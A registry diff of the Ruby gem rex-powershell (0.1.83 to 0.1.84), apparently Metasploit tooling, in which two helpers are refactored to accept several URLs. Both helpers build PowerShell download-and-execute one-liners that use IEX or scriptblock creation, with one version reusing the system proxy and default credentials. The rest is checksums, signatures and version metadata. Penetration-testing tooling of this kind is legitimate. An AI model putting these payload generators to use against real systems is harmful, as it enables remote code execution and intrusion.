rex-powershell 0.1.83 → 0.1.84
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +0 -0
- data/lib/rex/powershell/psh_methods.rb +18 -13
- data/lib/rex/powershell/version.rb +1 -1
- metadata +2 -2
- metadata.gz.sig +2 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 1172ac38c031c93b8dee4e5ac0d3510835c765187500e925027c7e34190be05c
|
|
4
|
+
data.tar.gz: 8f6131b883217ee174eba105ef04f101a61fc656290dccbaa9ee822b085c0e30
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: dc8d01380a830fc369bfddcddd9d736950b1ad97e58c9fc00b24a806cc7c83a8e7a442032828d57a46abafbf15d8c6a02e866f7af440be5aebe57f2e291882e1
|
|
7
|
+
data.tar.gz: df0a279cc2e1314abfeefb24733d0d30aefd78de14a3f6c12e97f5c75c7d85e6bafd411834cee1c67434b418fdf7d54625573ac4ee20dc78977f447af50fc32d
|
checksums.yaml.gz.sig
CHANGED
|
Binary file
|
data.tar.gz.sig
CHANGED
|
Binary file
|
|
@@ -135,16 +135,25 @@ module Powershell
|
|
|
135
135
|
#
|
|
136
136
|
# Download and execute string via HTTP
|
|
137
137
|
#
|
|
138
|
-
# @param
|
|
138
|
+
# @param urls [String | [String]] string(s) to download
|
|
139
139
|
# @param iex [Boolean] utilize invoke-expression to execute code
|
|
140
140
|
#
|
|
141
141
|
# @return [String] PowerShell code to download and exec the url
|
|
142
|
-
def self.download_and_exec_string(
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
else
|
|
146
|
-
%Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')))^
|
|
142
|
+
def self.download_and_exec_string(urls, iex = true)
|
|
143
|
+
unless urls.is_a?(Array)
|
|
144
|
+
urls = [urls]
|
|
147
145
|
end
|
|
146
|
+
|
|
147
|
+
res = ''
|
|
148
|
+
for url in urls
|
|
149
|
+
if iex
|
|
150
|
+
res << %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'));^
|
|
151
|
+
else
|
|
152
|
+
res << %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')));^
|
|
153
|
+
end
|
|
154
|
+
end
|
|
155
|
+
|
|
156
|
+
res
|
|
148
157
|
end
|
|
149
158
|
|
|
150
159
|
#
|
|
@@ -159,22 +168,18 @@ module Powershell
|
|
|
159
168
|
# Use the default system web proxy and credentials to download a URL
|
|
160
169
|
# as a string and execute the contents as PowerShell
|
|
161
170
|
#
|
|
162
|
-
# @param
|
|
171
|
+
# @param urls [String | [String]] string(s) to download
|
|
163
172
|
# @param iex [Boolean] utilize invoke-expression to execute code
|
|
164
173
|
#
|
|
165
174
|
# @return [String] PowerShell code to download a URL
|
|
166
|
-
def self.proxy_aware_download_and_exec_string(
|
|
175
|
+
def self.proxy_aware_download_and_exec_string(urls, iex = true)
|
|
167
176
|
var = Rex::Text.rand_text_alpha(1)
|
|
168
177
|
cmd = "$#{var}=new-object net.webclient;"
|
|
169
178
|
cmd << "if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){"
|
|
170
179
|
cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
|
|
171
180
|
cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
|
|
172
181
|
cmd << "};"
|
|
173
|
-
|
|
174
|
-
cmd << "IEX ([System.Text.Encoding]::ASCII.GetString($#{var}.downloaddata('#{url}')));"
|
|
175
|
-
else
|
|
176
|
-
cmd << "&([scriptblock]::create($#{var}.downloadstring('#{url}'));"
|
|
177
|
-
end
|
|
182
|
+
cmd << download_and_exec_string(urls, iex)
|
|
178
183
|
cmd
|
|
179
184
|
end
|
|
180
185
|
|
metadata
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: rex-powershell
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.1.
|
|
4
|
+
version: 0.1.84
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- David 'thelightcosine' Maloney
|
|
@@ -93,7 +93,7 @@ cert_chain:
|
|
|
93
93
|
JI/W23RbIRksG2pioMhd4dCXq3FLLlkOV1YfCwWixNB+iIhQPPZVaPNfgPhCn4Dt
|
|
94
94
|
DeGjje/qA4fkLtRmOtb9PUBq3ToRDE4=
|
|
95
95
|
-----END CERTIFICATE-----
|
|
96
|
-
date:
|
|
96
|
+
date: 2020-01-10 00:00:00.000000000 Z
|
|
97
97
|
dependencies:
|
|
98
98
|
- !ruby/object:Gem::Dependency
|
|
99
99
|
name: bundler
|
metadata.gz.sig
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
|
-
|
|
2
|
-
�
|
|
1
|
+
��q�^��e�`P�~����_���i%��&[}*W%p��~M��G�8�L�&ݓ����N�\8���z$�������k��^^<���:"a�G��e�e/֭�hE4'���$�/T���#�j�ԇ
|
|
2
|
+
���=6��˘�-��0rڽp��Qm-tHX�/>Kn�n)�3�d�l>)bo�ϙ���"{��LJA>?��&<��nX�7�m�8��K����E|���G:�Fx�q�ㅺ�Ѻ0�|
|